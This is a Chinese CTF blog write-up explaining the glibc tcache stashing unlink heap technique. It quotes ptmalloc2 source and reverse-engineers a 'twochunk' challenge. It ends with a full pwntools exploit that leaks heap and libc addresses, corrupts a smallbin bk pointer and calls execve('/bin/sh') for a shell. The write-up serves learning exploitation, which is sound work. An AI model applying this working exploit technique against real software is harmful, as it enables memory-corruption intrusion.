Pwn Ptmalloc2 Tcache Stashing Unlink Attack

如未特殊说明, 均假定 libc 2.27, 64 位.

malloc 的时候, 如果从 smallbin 中取了一块, 那么会尽力把剩余的块放到对应的 tcache 中.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static void *
_int_malloc (mstate av, size_t bytes)
{
  ...
  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
    if (__glibc_unlikely (bck->fd != victim))
      malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
      set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
    /* While we're here, if we see other chunks of the same size,
       stash them in the tcache.  */
    size_t tc_idx = csize2tidx (nb);
    if (tcache && tc_idx < mp_.tcache_bins)
      {
        mchunkptr tc_victim;

        /* While bin not empty and tcache not full, copy chunks over.  */
        while (tcache->counts[tc_idx] < mp_.tcache_count
         && (tc_victim = last (bin)) != bin)
    {
      if (tc_victim != 0)
        {
          bck = tc_victim->bk;
          set_inuse_bit_at_offset (tc_victim, nb);
          if (av != &main_arena)
      set_non_main_arena (tc_victim);
          bin->bk = bck;
          bck->fd = bin;

          tcache_put (tc_victim, tc_idx);
              }
    }
      }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
  ...
}

可以看到, smallbin 是从后往前取 chunk 的. 在 tcache 之前, 检查了双向链表的完整性:

1
2
    if (__glibc_unlikely (bck->fd != victim))
      malloc_printerr ("malloc(): smallbin double linked list corrupted");

而在丢进 tcache 的时候并没有. 注意到解链操作为 bin->bk = bck;bck->fd = bin;, 也就是会在 tc_victim->bk->fd 上写入 &bin. 如果我们覆盖了 bk, 那么由于没有检查完整性, 可以将 bin 的地址写到任意位置, 从而泄漏 libc (main arena 的 bin 在 libc 的数据段), 或者修改一个数据为较大值.

由于丢进 tcache 的时候没有相关检查, 且取出来也没有, 所以解链后只要 tcache 不满, 则一定可以丢入 tcache 中并取出. 这样, 我们就可以利用一次覆盖, 同时做到 tcache 任意分配和任意地址写. 考虑下面这样的情况:

tcache 中有五个 entries, smallbin 中有两个 chunk, 同时 chunk 6 的 bk 被修改到了其他可写位置, 设为 fake chunk 0. 同时在 fake chunk 0 的 bk 上已经布置好了另一个可写地址 fake chunk 1, fake chunk 1 的 fd 将会被写入 &smallbin.

s b c 6 t c c 5 c 4 c f f 3 a a k k e e b f k d c 2 f a k c e 1 c h u n k 0 c 0 l a n d f a k e c h u n k 1
提示
一般来说, 覆盖 bk 会利用堆溢出. 然而, 想要覆盖 bk 会先覆盖掉 fd. 假如这里是溢出覆盖, 那么还需要知道 chunk 5 的地址. 也就是说, 一般还会需要泄漏 heap 地址.

可能你会问, 为什么 tcache 没满, smallbin 里会有东西啊. 这个一会说怎么构造. 我们先来看如何利用. 使用 calloc 申请到 chunk 5 (因为 calloc 不会从 tcache 中取), 先会把 chunk 5 保存并解链. chunk 6 解链了之后, smallbin 看起来应该是这样的:

s b c 6 f f a a k k e e b f k d f a k e c h u n k 0 l a n d f a k e c h u n k 1

这里 chunk 6 已经被放入了 tcache, 不过同时 smallbin 的 fd 还指着 chunk 6, 这是双向链表结构被破坏导致的.

tcache 还没满, 于是他会再对 fake chunk 0 进行解链, 并 不进行任何检查地将其丢入 tcache 中. 在解链的过程中, bck(fake chunk 1) -> fd = bin, 会将 bin 写到 fake chunk 1 上. 最后, tcache 和 smallbin 的结构如下:

t c f c s b c 6 c 6 c 4 c 3 l a n d c 2 f c a 1 k e c h u n k c 1 0

这样, 就将 bin 写到了我们可以控制的地址上. 同时也将我们可以控制的另外一个地址放入了 tcache 中. 接下来只需要 malloc 就可以取到 fake chunk 0 了.

最后来回答怎么构造两个 chunk 在 smallbin 里的问题. 可以利用 unsortbin 的 last_remainder 机制. unsortbin 中如果只有一个 chunk, 且是最近一次释放的, 并且可以被切割, 那么就会切割它. 剩余部分如果是 small chunk, 可以再 malloc 一个大小与 unsortbin 中不同的块, 触发 unsortbin 的机制, 使这个 chunk 被丢到 smallbin 中去. 这样就构造了 tcache 不满, 而 smallbin 中存在的条件了.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
static void *
_int_malloc (mstate av, size_t bytes)
{
  ...
  for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          size = chunksize (victim);
          mchunkptr next = chunk_at_offset (victim, size);
          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
            {
              /* split and reattach remainder */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);
              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
              av->last_remainder = remainder;
              remainder->bk = remainder->fd = unsorted_chunks (av);
              if (!in_smallbin_range (remainder_size))
                {
                  remainder->fd_nextsize = NULL;
                  remainder->bk_nextsize = NULL;
                }
              set_head (victim, nb | PREV_INUSE |
                        (av != &main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
            ...

          /* place chunk in bin */
          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
        }
        ...
    }
    ...
}

麻了我尝试构造了一个晚上没构造出来, 所以还是记录一下构造的方法和注意事项吧.

假设我们要放入 smallbin 的 size 是 0x90. 首先往 tcache 里丢五个 0x90 的 chunk, 即:

1
2
3
4
for (int i = 0; i < 5; i++) {
  void *chunk = calloc(0x80);
  free(chunk);
}

然后找一个比 0x90 至少大 0x20 的 size, 如 0xb0, 填满 tcache, 并丢一个到 unsortbin 里:

1
2
3
4
5
6
void *chunk0 = malloc(0xa0);
for (int i = 0; i < 7; i++) {
  void *chunk = calloc(0xa0);
  free(chunk);
}
free(chunk0);

这样, chunk0 就在 unsortbin 里了. 这样写的一个好处是 tcache 的 chunk 会挡住 top chunk, 让 free 掉的 chunk0 不合并. 然后从 unsortbin 里切割多了的出来:

1
malloc(0x10);

这样, 大小为 0x90 的 chunk 就在 unsortbin 里了. 然后再找一个比 0xa0 大的 size, 如 0xc0, 填满 tcache, 并放一个到 unsortbin 里:

1
2
3
4
5
6
void *chunk1 = malloc(0xb0);
for (int i = 0; i < 7; i++) {
  void *chunk = calloc(0xb0);
  free(chunk);
}
free(chunk1);

在第一个 malloc 的时候, 由于 unsortbin 中没有恰好满足条件的, 所以 unsortbin 中的那个 0x90 的 chunk 会被放到 smallbin 中. free 掉 chunk1 后, unsortbin 里有了一个 0xc0 的. 再进行切割:

1
malloc(0x20);

这时, unsortbin 里的就变成了 0x90 的. 最后 malloc 一个大块一点的 (不要又从 0x90 里切割了), 触发一下 unsortbin 的机制, 就可以把这一块放到 smallbin 里了.

题目, libc 是 2.30.

咕了, 暂时不想写, 缓一缓.

两天前看了 WP 写的, 今天自己写一遍. (虽然是自己推的, 写出来居然和看的那篇 WP 一模一样…)

64 位 ELF, libc 2.30, 保护全开. 菜单题.

main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __fastcall main(__int64 a1, char **a2, char **a3)
{
  Init();
  login();
  while ( 1 )
  {
    menu();
    switch ( readint() )
    {
      case 1u:
        Add();
        break;
      case 2u:
        Free();
        break;
      case 3u:
        Show();
        break;
      case 4u:
        Edit();
        break;
      case 5u:
        show_info();
        break;
      case 6u:
        leave_msg();
        break;
      case 7u:
        pwn();
        break;
      default:
        Exit();
    }
  }
}

init:

1
2
3
4
5
6
7
8
void __fastcall Init()
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  banner();
  mapped = (Node *)(int)mmap((void *)0x23333000, 0x2000uLL, 3, 34, -1, 0LL);
}

申请了从 0x23333000 开始的两页 rw 的空间. 经过简单逆向 (略), mapped 结构如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
struct Node
{
  union
  {
    char name[48];
    void (__fastcall *fun)(_QWORD, _QWORD, _QWORD);
  };
  union
  {
    char msg[64];
    _QWORD a[3];
  };
};

login:

1
2
3
4
5
6
7
void __fastcall login()
{
  printf("leave your name: ");
  read(0, mapped->name, 0x30uLL);
  printf("leave your message: ");
  read(0, mapped->msg, 0x40uLL);
}

add:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __fastcall Add()
{
  int idx; // [rsp+8h] [rbp-8h]
  int size; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  idx = read_0_or_1();
  if ( list[idx].str )
    Exit();
  printf("size: ");
  size = readint();
  if ( size == 23333 && add_malloc_count )
  {
    list[idx].str = (char *)malloc(0xE9uLL);
    --add_malloc_count;
  }
  else
  {
    if ( size <= 0x80 || size > 0x3FF )
      Exit();
    list[idx].str = (char *)calloc(1uLL, size);
  }
  if ( strchr(list[idx].str, '\x7F') )
    Exit();
  list[idx].size = size;
  if ( list[idx].str )
  {
    puts("success");
  }
  else
  {
    list[idx].str = 0LL;
    list[idx].size = 0;
  }
}

read_0_or_1 从 stdin 读入 0 或者 1, 其他均退出程序. 所以只能保存两个 chunk (题目名 two chunk).

count 的值是 1 (之后的 xxx_count 都是 1), 也就是只能使用 malloc 申请一次 0x100 的 chunk, 且申请到的位置的字符串不能有 0x7f (可以猜测是防止利用 malloc leak libc). 其他申请均为 calloc, 且大小在 $(0x80, 0x4000)$ 内.

保存的时候会保存大小. 但是, malloc 申请的 chunk 是 0x100, 而 保存的 size 是输入的 23333 (» 0x100).

free:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void __fastcall Free()
{
  int idx; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  idx = read_0_or_1();
  if ( !list[idx].str )
    Exit();
  free(list[idx].str);
  list[idx].str = 0LL;
  list[idx].size = 0;
}

判断了 idx, 清空了指针和保存的大小.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void __fastcall Edit()
{
  int idx; // [rsp+Ch] [rbp-4h]

  puts("just edit once!");
  if ( !edit_chunk_count )
    Exit();
  printf("idx: ");
  idx = read_0_or_1();
  if ( !list[idx].str )
    Exit();
  printf("content: ");
  read(0, list[idx].str, list[idx].size + 0x20);
  --edit_chunk_count;
}

只能修改一次. 修改存在堆溢出. 如果是上文分析的 malloc 的申请, 则溢出的更多.

show_info:

1
2
3
4
5
6
7
8
void __fastcall show_info()
{
  if ( !show_info_count )
    Exit();
  printf("name: %s", mapped->name);
  printf("message: %s\n", mapped->msg);
  --show_info_count;
}

能够打印一次 mapped 两个位置的字符串数据.

leave_msg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void __fastcall leave_msg()
{
  void *buf; // [rsp+8h] [rbp-8h]

  if ( !leave_msg_count )
    Exit();
  printf("leave your end message: ");
  buf = malloc(0x88uLL);
  read(0, buf, 0x80uLL);
  --leave_msg_count;
}

能够写一次数据到大小为 0x90 的 chunk 上, 所以这个 chunk 可能需要构造堆叠或者任意地址分配.

pwn:

1
2
3
4
void __fastcall call_fun()
{
  mapped->fun(mapped->a[0], mapped->a[1], mapped->a[2]);
}

可以调用一个三个参数的函数, 函数以指针的形式写在 mapped->name 上, 参数写在 mapped->str 上.

既然有任意函数调用, 那么我们可以从后往前考虑. 如果能够在 mapped 上写上 execve("/bin/sh", NULL, NULL) 的调用, 就可以 getshell 了. 考虑到 edit 的写入有溢出, 可能需要其他的利用, 所以这里应该是走的 leave_msg, 将 malloc 任意分配到 mapped 上进行写入. 所以, 这里需要一个 0x90 的任意分配. 同时, 要调用 execve, 还需要泄漏 libc. 由于 这是 tcache stashing unlink attack 的例题 add 使用的几乎都是 calloc, 考虑 tcache stashing unlink attack. 这个技巧可以同时利用 tcache 构造任意地址分配. 由于 tcache stashing unlink attack 堆覆盖 bk 的同时会覆盖 fd, 所以需要泄漏 heap, 向 fd 上写入正确的值, 通过双向链表检查. 泄漏 heap 可以 malloc chunk from tcache, 然后打印. 这样, show 也用上了. 构造的任意地址写 smallbin 的地址, 可以写到 mapped->name 或者 mapped->str 上, 通过 show_info 打印出来.

覆盖的 bk 到了 mapped - 0x10 的地方 (fake chunk 0), 所以在 mapped + 0x8 (fake chunk 1 bk) 要写上一个地址. 可以用程序最开始进来的 login 函数写. 可以考虑写成 mapped->str - 0x10, show_info 就可以从第二个 printf 中得到了.

根据前文的方法, 我们可以很简单地先写出这样的构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 五个 tcache entries
for i in range(5):
  add(0, 0x88)
  free(0)

# 一个 0x130 到 unsortbin
add(0, 0x120)
for i in range(7):
  add(1, 0x120)
  free(1)
free(0)

# 切割, 剩余 0x100 在 unsortbin
add(0, 0x90)
free(0)

# 第一次找 0x140 不到, 会经过 unsortbin, 把 0x100 放入 smallbin
# 一个 0x140 到 unsortbin
add(0, 0x130)
for i in range(7):
  add(1, 0x130)
  free(1)
free(0)

# 切割, 剩余 0x100 在 unsortbin
add(0, 0xa0)
free(0)

# 经过 unsortbin, 把 0x100 放入 smallbin
add(1, 0x90)
free(1)

此时, 堆如下:

/pwn-ptmalloc2-tcache-stashing-unlink-attack/img/heap.png
堆结构
/pwn-ptmalloc2-tcache-stashing-unlink-attack/img/bins.png
bins

考虑如何写到 smallbin 表头 (0x55ef61e0ef90) 这个 chunk 的 bk. 如果我们把 0x130 调大, 使切割的部分用 add 23333 来处理, 那么由于 malloc 不会清除用户数据区, 最开始这个 0x130 是在 unsortbin 里的, fd 被写上了 libc 地址. add 函数刚好判断到了. 所以不能这么做.

利用 add 23333 的超大堆溢出, 可以在如下图所示的地方插入 (实际上是重新构造所有的堆, 因为不可能 “插入” 的) 一个堆:

/pwn-ptmalloc2-tcache-stashing-unlink-attack/img/heap-insert.png
向此处「插入」

这样就可以溢出覆盖掉 smallbin 表头的 chunk 了. 由于我们还需要 heap 地址, 而 malloc 也就这一次, 所以还需要利用这个 malloc 泄漏 heap. 于是中间补充的代码应该是:

1
2
3
4
add(0, 233)
free(0)
add(0, 233)
free(0)

在刚刚所说的地方插入两个 0x100 的 chunk 然后 free 掉, 构造 tcache -> c1 -> c0. 然后在构造完了 smallbin 中两个 chunk 后, 利用 add 23333 的 malloc(233) 得到 c1, 此时 c1 的 next 不会被清除, 也就是能够 leak heap.

然后和前文所述一样构造即可.

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './twochunk'

io = process(procname)
# io = remote()
elf = ELF(procname)
libc = ELF('/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.30-0ubuntu2_amd64/libc.so.6')

def n2b(x):
  return str(x).encode()

def op(x):
  io.sendlineafter(b'choice: ', n2b(x))

def add(idx, size):
  op(1)
  io.sendlineafter(b'idx: ', n2b(idx))
  io.sendlineafter(b'size: ', n2b(size))

def free(idx):
  op(2)
  io.sendlineafter(b'idx: ', n2b(idx))

def show(idx):
  op(3)
  io.sendlineafter(b'idx: ', n2b(idx))
  return io.recv(8)

def edit(idx, content):
  op(4)
  io.sendlineafter(b'idx: ', n2b(idx))
  io.sendlineafter(b'content: ', content)

def show_info():
  op(5)

def leave_msg(msg):
  op(6)
  io.sendlineafter(b'leave your end message: ', msg)

def pwn():
  op(7)

mmap_name = 0x23333000
mmap_str = mmap_name + 0x30
def main():
  io.sendafter(b'leave your name: ', p64(0) + p64(mmap_str - 0x10))
  io.sendafter(b'leave your message: ', p64(0))

  for i in range(5):
    add(0, 0x88)
    free(0)

  add(0, 0x120)
  for i in range(7):
    add(1, 0x120)
    free(1)
  free(0)

  add(0, 0x90)
  free(0)

  add(0, 233)
  free(0)
  add(0, 233)
  free(0)

  add(0, 0x130)
  for i in range(7):
    add(1, 0x130)
    free(1)
  free(0)

  add(0, 0xa0)
  free(0)

  add(1, 0x90)
  free(1)

  add(0, 23333)

  heap = u64(show(0)) - 0xef0
  success(f'heap: {hex(heap)}')


  payload  = b'\x00' * 0xf0
  payload += (p64(0) + p64(0xb1)).ljust(0xb0, b'\x00')
  payload += p64(0) + p64(0x91) + p64(heap + 0x600) + p64(mmap_name - 0x10)
  edit(0, payload)
  free(0)

  add(0, 0x88)
  free(0)

  show_info()
  io.recvuntil(b'message: ')
  libc_base = u64(io.recvline(keepends=False).ljust(8, b'\x00')) - 0x1EAC60
  success(f'libc base: {hex(libc_base)}')
  libc.address = libc_base

  payload  = (p64(libc.sym['execve']) + b'/bin/sh').ljust(0x30, b'\x00')
  payload += p64(mmap_name + 8) + p64(0) * 2
  leave_msg(payload)

  pwn()

  io.interactive()

if __name__ == '__main__':
  main()

先咕. 咕咕咕, 有空写这题, 写完也不把过程写在这里了.


主要是学的过程 比 较 暴 躁, 没静下心来, 导致学错了… 然后就看了一万年也不知道题是咋做的, 自己能力不够也没推出来. 今天重新写一遍, 发现并纠正了很多错误的理解, 觉得也不过如此, 挺板的. 于是就把本来打算再写的另外一个例题咕了. 就这样吧, 累了. 一个知识点搞了 4 天了, 以后还是不能强迫自己学习.